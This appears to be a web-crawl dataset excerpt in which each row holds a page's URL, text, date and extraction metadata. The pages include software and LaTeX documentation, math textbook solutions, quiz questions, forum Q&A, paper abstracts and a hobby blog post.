url
stringlengths 13
5.47k
| text
stringlengths 100
209k
| date
stringlengths 19
19
| metadata
stringlengths 1.05k
1.11k
|
|---|---|---|---|
https://d2mvzyuse3lwjc.cloudfront.net/doc/LabTalk/ref/OPack-obj | # 3.7.5.44 OPack
LabTalk Object Type:
External Object
The OPack object is used to pack and unpack user-specified files.
## Properties:
Property Access Description
numeric
Controls whether the user is prompted to replace existing files. 0: (Default) Ask the user before replacing existing files. 1: Automatically replace existing files.
opack.file$Read/write string List of files need to be packed. Used by all methods. If the file name begins without '\', go to the Origin directory to find the corresponding file. opack.fileName$ Read/write
string
Archive file name. Use OPK as the extension name. Used by the opack.getFileNames( ), opack.pack( ), and opack.unpack() methods. If file name begins without '\', the archive file will be put in the corresponding path under the Origin directory.
Only used in the opack.pack( ) method. 1: (Default) Save the full path name when pack into archive file. 0: Save the file name only.
Only used in the opack.unpack( ) method. 1: (Default) Use the directory structure saved in OPK file when unpacking. 0: Use the file name only.
opack.unpack.targetFolder$Read/write, string This is the unpack directory. This property is only used in the opack.unpack( ) method. If it is not empty, use this as the target directory. opack.unpack.uninstall$ Read/write, string
LabTalk script to be executed when the package is uninstalled. This property is used by the Unpack method. During the installation of a package the LabTalk script in this property is saved by Origin. When Origin is asked to uninstall the package it will execute this script before any files are uninstalled/removed. This is where you can perform any custom tasks necessary to fully uninstall your package from Origin. OPack will only uninstall/remove files and will not undo any changes you made during installation. Remember that during installation OPack will execute script code in the setup.ogs file's OnBeforeSetup and OnAfterSetup sections. To use this property you should set it in your OnBeforeSetup script and clear it in the OnAfterSetup script.
## Methods:
Method Description
opack.getFileNames(TextFileName)
TextFileName is the name of text file containing the destination archive file name and the names of the files need to be packed. This method reads the first line to FileName$, then reads the following lines into the File$ property.
opack.findFile(FileName [, StrVar])
FileName is the file name to be found. StrVar is the string variable (optional). This method searches from the beginning of the File$property. If the required file name is found, it assigns it to the LabTalk string variable. Otherwise, it leaves the variable unchanged. When the search is performed, only the last part of the file name will be compared. For example: opack.findFile(.dat, S) will find the first file name with "dat" as the extension from the current position of the File$ property and then assign it to a LabTalk string variable S. This method's return value is the element index if found, or 0 if not found.
opack.findNext([StrVar])
StrVar is the LabTalk string variable (optional). This method searches from the current index of the File$property for the file name passed by the opack.findFile( ) method. If found, it is assigned to the LabTalk string variable. Otherwise, the variable is left unchanged. This method returns the element index if found, or 0 if not found. opack.pack([UserAccessCode]) UserAccessCode can be: 0 = All, 1 = Non-registered, and 2 = Registered. If UserAccessCode is not included, then 0 (All) is used. This method packs all the files listed in the File$ property to the file FileName$. If opack.pack.SaveFolderInfo = 1, save the full path name for every source file. If opack.pack.SaveFolderInfo = 0, save the file name only. This method returns 0 for success, 2 for a File I/O error, or 6 for a File creation error. opack.uninstall(ModuleName) Uninstall OPK file moduleName. If found, removes the button group from the ini file. Returns 0 = success, 1 = failure. opack.unpack( ) Unpacks the archive file FileName$. If opack.unpack.UseFolderInfo = 1, use the directory structure saved in the OPK file. If no folder information was saved, use the Origin directory instead. If opack.unpack.UseFolderInfo = 0, use the file name only. Return values are: 0 Success, 1 User access error, 2 File I/O error, 3 File header error, and 4 Expanding file error.
opack.reset( )
Sets opack.pack.SaveFolderInfo = 1, and opack.unpack.UseFolderInfo = 1. Sets all the other arguments to empty. | 2022-06-27 12:09:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.28230300545692444, "perplexity": 6638.986857850263}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103331729.20/warc/CC-MAIN-20220627103810-20220627133810-00149.warc.gz"} |
https://www.parabola.unsw.edu.au/2020-2029/volume-57-2021/issue-3/article/two-simple-theorems-and-their-applications | Two simple theorems and their applications
What is the greatest product of $n$ numbers with some fixed sum?
What is the least sum of $n$ numbers with some fixed product?
These questions are answered, and applications are given. | 2022-01-29 13:01:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5601059794425964, "perplexity": 621.7346066531156}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-05/segments/1642320306181.43/warc/CC-MAIN-20220129122405-20220129152405-00587.warc.gz"} |
https://gsebsolutions.in/gseb-solutions-class-7-maths-chapter-6-ex-6-3/ | # GSEB Solutions Class 7 Maths Chapter 6 The Triangles and Its Properties Ex 6.3
Gujarat Board GSEB Textbook Solutions Class 7 Maths Chapter 6 The Triangles and Its Properties Ex 6.3 Textbook Questions and Answers.
## Gujarat Board Textbook Solutions Class 7 Maths Chapter 6 The Triangles and Its Properties Ex 6.3
Question 1.
Find the value of the unknown x in the following diagrams.
Solution:
(i) Using the angle sum property of a ‘triangle’ we have
50° + 60° + x = 180°
or 110° + x = 180°
or x = 180° – 110° = 70°
Thus, the required value of x is 70°.
(ii) Using the ‘angle sum property of a triangle’,
we have
30° + 90° + x = 180°
[the ∆ is right angled at P.]
or 120° + x = 180°
or x = 180° – 120° = 60°
Thus, the required value of x is 60°.
(iii) Using the ‘angle sum property of a triangle’, we have
30° + 110° + x = 180°
or 140° + x = 180°
or x = 180° – 140° = 40°
Thus, the required value of x is 40°.
(iv) Using the ‘angle sum property of a triangle’,
we have
x + x + 50° = 180°
∴ 2x + 50° = 180°
or 2x = 180° – 50° = 130°
or $$\frac { 2x }{ 2 }$$ = $$\frac { 130° }{ 2 }$$
or x = 65°
(v) Using the ‘angle sum property of a triangle’, we have
x + x + x = 180°
or 3x = 180°
or $$\frac { 3x }{ 3 }$$ = $$\frac { 180° }{ 3 }$$
or x = 60°
(vi) Using the ‘angle sum property of a triangle’, we have
x + 2x + 90° =180°
or 3x + 90° = 180°
or 3x = 180° – 90° = 90°
or $$\frac { 3x }{ 3 }$$ = $$\frac { 90° }{ 3 }$$
[Dividing both sides by 3]
or x = 30°
Question 2.
Find the values of the unknown x and y in the following diagrams:
Solution:
(i) ∵ Angles y and 120° form a linear pair.
∴ y + 120° = 180°
or y = 180° – 120° = 60°
Now, using the angle sum property of a triangle, we have
x + y + 50° = 180°
or x + 60° + 50° = 180°
or x + 110° =180°
or x = 180° – 110° = 70°
Thus, $$\left.\begin{array}{l} x=70^{\circ} \\ y=60^{\circ} \end{array}\right\}$$
(ii) ∵ y and 80° angle are vertically opposite angles, then y = 80°
Now x + y + 50° = 180°
[Using angle sum property]
or x + 80° + 50° = 180°
or x + 130° = 180°
or x = 180° – 130° = 50°
Thus, $$\left.\begin{array}{l} x=50^{\circ} \\ y=80^{\circ} \end{array}\right\}$$
(iii) Using the angle sum property of triangle, we have
50° + 60° + y = 180°
or y + 110° = 180°
or y = 180° – 110° = 70°
Again, x and y form a linear pair.
∴ x + y = 180°
or x + 70° = 180°
or x = 180° – 70° = 110°
Thus, $$\left.\begin{array}{l} x=110^{\circ} \\ y=70^{\circ} \end{array}\right\}$$
(iv) ∵ x and 60° angle are vertically opposite angles
∴ x = 60°
Now, using the angle sum property of triangle, we have
x + y + 30° = 180°
or 60 + y + 30° = 180°
or y + 90° = 180°
or y = 180° – 90° =
Thus, $$\left.\begin{array}{l} x=60^{\circ} \\ y=90^{\circ} \end{array}\right\}$$
(v) ∵ y and 90° are vertically opposite angles, then y = 90°
Now, using the angle sum property of triangles, we have
x + x + y = 180°
2x + y = 180°
or 2x + 90° = 180°
or 2x = 180° – 90° = 90°
or $$\frac { 2x }{ 2 }$$ = $$\frac { 90° }{ 2 }$$ or x = 45°
Thus, $$\left.\begin{array}{l} x=45^{\circ} \\ y=90^{\circ} \end{array}\right\}$$
(vi) One angle of the triangle = y
Each of the other two angles is equal to their vertically opposite angle x.
∴ Using the angle sum property
x + x + y = 180°
or 2x+ y = 180°
or 2x + x = 180°
[x = y vertically opposite angles]
or 3x = 180°
or $$\frac { 3x }{ 3 }$$ = $$\frac { 180° }{ 3 }$$
∴ x = 60°
But y = x
∴ y = 60°
Thus, $$\left.\begin{array}{l} x=60^{\circ} \\ y=60^{\circ} \end{array}\right\}$$ | 2022-08-15 10:31:53 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8693941831588745, "perplexity": 3648.748624847034}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572163.61/warc/CC-MAIN-20220815085006-20220815115006-00463.warc.gz"} |
https://cracku.in/rq-railways-general-knowledge-test-137 | ## Railways General Knowledge Test 137
Instructions
For the following questions answer them individually
Q 1
Which temperature in celsius scale is equal to 300 k?
Q 2
Non-metals generally contain .......... electrons in their outermost shell.
Q 3
Who was appointed as the Defense Minister when the $$16^{th}$$ Lok Sabha was formed in 2014?
Q 4
Which of the following is taken as crop ?
Q 5
What happens as we go down the group in the periodic table? | 2021-11-28 14:04:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42010366916656494, "perplexity": 6840.925671983627}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964358560.75/warc/CC-MAIN-20211128134516-20211128164516-00382.warc.gz"} |
https://docs.w3cub.com/latex/math | # W3cubDocs
/LaTeX
### math
Synopsis:
\begin{math}
math
\end{math}
The math environment inserts given math material within the running text. $$...$$ and $...$ are synonyms. See Math formulas. | 2022-12-08 08:53:58 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9609887003898621, "perplexity": 11767.823596519587}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446711286.17/warc/CC-MAIN-20221208082315-20221208112315-00864.warc.gz"} |
https://tex.stackexchange.com/questions/414287/how-to-hide-remove-a-picture-in-footline-on-title-slide-only-as-a-template-usin | How to hide/remove a picture in footline on title slide only, as a template using beamer class
I am designing a latex template for presentation slides for my company. I use beamer class.
I made the following codes to show a footline on every slide. It is a image on the left, and some words on the right, and the words and image are aligned in the center. However, I want to just remove the image in the title slide.
I have made the following codes
\setbeamertemplate{footline}{%
%
\else
\includegraphics[align=c, height=1.5cm]{sim-ci-logo-2.png}%
\fi
\hfill%
\usebeamercolor[fg]{myfootlinetext}
\insertdate{}\hspace*{2em}
}
However, it does not work properly. In the title page, the image is gone, but the words moved to the bottom edge. See the two screenshots below:
This is the title slide's footline, where the words moved to the bottom edge
This is the normal slide's footline.
Do you know how to keep the words in the title slide in the same position as other slides? Thanks in advance.
Note that I have used \ifnum\insertframenumber=1, assuming title slide is always the first slide. As @samcarter pointed out How to make the end slide use the same background as title page, while the normal slide use different background?, it is usually a bad idea to make such an assumption, but I do not know how to make it. Any suggestion on that is also appreciated.
In exactly the same way as for the background templates, you can have different footlines:
\documentclass{beamer}
\usepackage{tikz}
\defbeamertemplate{background}{special frames}{%
\begin{tikzpicture}
\useasboundingbox (0,0) rectangle(\the\paperwidth,\the\paperheight);
\fill[color=gray] (0,2) rectangle (\the\paperwidth,\the\paperheight);
\end{tikzpicture}
}
\setbeamertemplate{background}{
\begin{tikzpicture}
\fill[white,opacity=1] (0,0) rectangle(\the\paperwidth,\the\paperheight);
\end{tikzpicture}
}
\defbeamertemplate{footline}{special frames}{text for special footline}
\setbeamertemplate{footline}{text for normal footline}
\newcommand{\insertendpage}{%
\setbeamertemplate{background}[special frames]
\setbeamertemplate{footline}[special frames]
\begin{frame}
bla bla
\end{frame}
}
\setbeamertemplate{title page}{%
\setbeamertemplate{background}[special frames]
\setbeamertemplate{footline}[special frames]
\begin{frame}
text text
\end{frame}
}
\begin{document}
\titlepage
\begin{frame}
Slide 2
\end{frame}
\insertendpage
\end{document}
Quick hack: If you don't want to worry about the vertical position, replace the image by some invisible element of the same height, e.g. a \rule{0pt}{1.5cm} | 2019-06-26 14:47:25 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7678256034851074, "perplexity": 1492.7577597025806}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-26/segments/1560628000353.82/warc/CC-MAIN-20190626134339-20190626160339-00167.warc.gz"} |
https://www.physicsforums.com/threads/homework-in-solid-state-material.526640/ | # Homework in Solid state material
1. Sep 2, 2011
### Blond Arrow
Here is the problem:
The electron concentration in a region of silicon depends linearly on depth with concentration of 5x10^15 cm^-3 at surface (x=0) and 10^15 cm^-3 at depth of x=500nm. If the vertical electron current density in this region is constant at Jn=100 A/cm^2, calculate the electric field near x=500nm. assume that the mobility is constant at 1250cm^2/Vs.
If anyone can at least explain the meaning of each value written in the problem and the formula that can be used to solve this problem ..
Thank you...
2. Sep 5, 2011
### Blond Arrow
No one know???
3. Sep 5, 2011
### uart
The equation that you need is for the total electron current density (drift plus diffusion).
$$J_n = q D_n \frac{dn}{dx} + q \mu_n E$$
q = 1.6E-19
D_n = (kT/q) u_n which is approx 0.026 u_n at room temperature.
Since you know J_n and dn/dx then E is the only unknown. | 2018-01-21 17:17:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.727839469909668, "perplexity": 3632.230982014396}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-05/segments/1516084890795.64/warc/CC-MAIN-20180121155718-20180121175718-00200.warc.gz"} |
https://projecteuclid.org/euclid.jam/1355495113 | ## Journal of Applied Mathematics
### Bounds for the Kirchhoff Index of Bipartite Graphs
Yujun Yang
#### Abstract
A $(m,n)$-bipartite graph is a bipartite graph such that one bipartition has m vertices and the other bipartition has n vertices. The tree dumbbell $D(n,a,b)$ consists of the path ${P}_{n-a-b}$ together with a independent vertices adjacent to one pendent vertex of ${P}_{n-a-b}$ and b independent vertices adjacent to the other pendent vertex of ${P}_{n-a-b}$. In this paper, firstly, we show that, among $(m,n)$-bipartite graphs $(m\le n)$, the complete bipartite graph ${K}_{m,n}$ has minimal Kirchhoff index and the tree dumbbell $D(m+n,{\lfloor}n-\mathrm{(m}+1)/2{\rfloor},{\lceil}n-\mathrm{(m}+1)/2{\rceil})$ has maximal Kirchhoff index. Then, we show that, among all bipartite graphs of order $l$, the complete bipartite graph ${K}_{{\lfloor}l/2{\rfloor},l-{\lfloor}l/2{\rfloor}}$ has minimal Kirchhoff index and the path ${P}_{l}$ has maximal Kirchhoff index, respectively. Finally, bonds for the Kirchhoff index of $(m,n)$-bipartite graphs and bipartite graphs of order $l$ are obtained by computing the Kirchhoff index of these extremal graphs.
#### Article information
Source
J. Appl. Math., Volume 2012 (2012), Article ID 195242, 9 pages.
Dates
First available in Project Euclid: 14 December 2012
https://projecteuclid.org/euclid.jam/1355495113
Digital Object Identifier
doi:10.1155/2012/195242
Mathematical Reviews number (MathSciNet)
MR2915714
Zentralblatt MATH identifier
1245.05107
#### Citation
Yang, Yujun. Bounds for the Kirchhoff Index of Bipartite Graphs. J. Appl. Math. 2012 (2012), Article ID 195242, 9 pages. doi:10.1155/2012/195242. https://projecteuclid.org/euclid.jam/1355495113 | 2020-02-19 16:03:03 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 14, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.239802286028862, "perplexity": 920.2146862709128}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875144165.4/warc/CC-MAIN-20200219153707-20200219183707-00508.warc.gz"} |
https://devops-coding-challenge.readthedocs.io/en/latest/FromMakefile/BIBLIOGRAPHY.html | # Bibliography¶
Here are some links to understand choices.
## Hooks¶
Because I would automate the update of docs/FromMakefile [because of include ../file.md is missing in markdown, even with recommonmark]
## AWS¶
### Collections¶
• Documentation to filter over collections
• Warning Behind the scenes, the above example will call ListBuckets, ListObjects, and HeadObject many times. If you have a large number of S3 objects then this could incur a significant cost. | 2022-10-06 13:26:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3161259889602661, "perplexity": 6761.709803516616}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337836.93/warc/CC-MAIN-20221006124156-20221006154156-00001.warc.gz"} |
https://tex.stackexchange.com/questions/211861/tikz-externalized-figures-render-incorrectly-when-eso-pic-is-used | # TikZ externalized figures render incorrectly when eso-pic is used
I am having some trouble using eso-pic in conjunction with externalised tikz figures. Content added to other document pages using \AddToShipoutPicture*{} is drawn on the TikZ figure. This does not occur when the TikZ figures are compiled in-line.
The following is a minimum working example that results in this error (compile using pdflatex --shell-escape --write18 test.tex)
\documentclass{article}
\usepackage{eso-pic}
\usepackage{pgfplots}
\usepackage{tikz}
\usetikzlibrary{external}
\pgfrealjobname{test}
\tikzexternalize
\tikzset{external/system call={pdflatex \tikzexternalcheckshellescape -halt-on-error -interaction=batchmode -jobname "\image" "\texsource"}}
\begin{document}
\AddToShipoutPicture*{\put(0,480){\rule{\paperwidth}{2cm}}}
\vfil\null
\newpage
\begin{figure}[h]
\centering
\begin{tikzpicture}[scale=1.5]
\begin{axis}[xmin=0,xmax=5,ymin=0,ymax=3]
\draw [ultra thick,gray] (axis cs:0.5,0.5) to[out=80,in=200] (axis cs:1.5,2);
\end{axis}
\end{tikzpicture}
\end{figure}
\end{document}
It appears that the shipout is not cleared when the TikZ externalise command is executed. Does anyone know how I could clear this in order to render the figures correctly?
## 1 Answer
Ok, I figured out that you can remove the externalized eso-pic calls to \AddToShipoutPicture by adding the option \tikzset{external/optimize command away=\AddToShipoutPicture} to the preamble. This seems to generate figures correctly now, without the eso-pic shipout contents. | 2019-10-16 05:19:11 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9885912537574768, "perplexity": 13615.035938412831}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986664662.15/warc/CC-MAIN-20191016041344-20191016064844-00021.warc.gz"} |
https://msp.org/ant/2022/16-5/ant-v16-n5-p04-p.pdf | #### Vol. 16, No. 5, 2022
Recent Issues
The Journal About the Journal Editorial Board Editors’ Interests Subscriptions Submission Guidelines Submission Form Policies for Authors Ethics Statement ISSN: 1944-7833 (e-only) ISSN: 1937-0652 (print) Author Index To Appear Other MSP Journals
Resolution of ideals associated to subspace arrangements
### Aldo Conca and Manolis C. Tsakiris
Vol. 16 (2022), No. 5, 1121–1140
##### Abstract
Let ${I}_{1},\dots ,{I}_{n}$ be ideals generated by linear forms in a polynomial ring over an infinite field and let $J={I}_{1}\cdots {I}_{n}$. We describe a minimal free resolution of $J$ and show that it is supported on a polymatroid obtained from the underlying representable polymatroid by means of the so-called Dilworth truncation. Formulas for the projective dimension and Betti numbers are given in terms of the polymatroid as well as a characterization of the associated primes. Along the way we show that $J$ has linear quotients. In fact, we do this for a large class of ideals ${J}_{P}$, where $P$ is a certain poset ideal associated to the underlying subspace arrangement.
We have not been able to recognize your IP address 3.226.122.122 as that of a subscriber to this journal.
Online access to the content of recent issues is by subscription, or purchase of single articles.
or by using our contact form.
##### Keywords
subspace arrangements, free resolutions
Primary: 13D02
##### Milestones
Revised: 8 April 2021
Accepted: 24 July 2021
Published: 16 August 2022
##### Authors
Aldo Conca Dipartimento di Matematica Università di Genova Genova Italy Manolis C. Tsakiris Dipartimento di Matematica Università di Genova Genova Italy Academy of Mathematics and Systems Science Chinese Academy of Sciences Beijing China | 2023-04-01 20:35:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 6, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.24069470167160034, "perplexity": 1382.5140874751598}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296950247.65/warc/CC-MAIN-20230401191131-20230401221131-00101.warc.gz"} |
https://xulutec.blogspot.com/2016/02/15mm-sci-fi.html | ## Freitag, 19. Februar 2016
### 15mm Sci-Fi
My first venture into 15mm :-) White Dragon troopers, incredibly detailed for figures that size. I dont have much experience with 15mm figures but I think most 15mm figures I know are rather 18mm and these are "true" 15mm, i. e. at the delicate end of that scale - see last comparison pic with a 20mm TQD soldier.
#### Kommentare:
1. Hello,
Very nice troupers !!! I like the contrast between soldiers and brown/red base !!
Nikko
1. Thanks, yes, like halo on mars ;-)
2. Great painted minis!
3. Those look great! I've been thinking of trying 15mm SCI Fi and maybe I'll give these a try.
Christopher | 2021-05-08 20:29:29 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8575972318649292, "perplexity": 14124.444120991093}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988923.22/warc/CC-MAIN-20210508181551-20210508211551-00288.warc.gz"} |
http://mathhelpforum.com/algebra/222096-can-t-figure-out-these-problems.html | # Thread: Can't figure out these problems
1. ## Can't figure out these problems
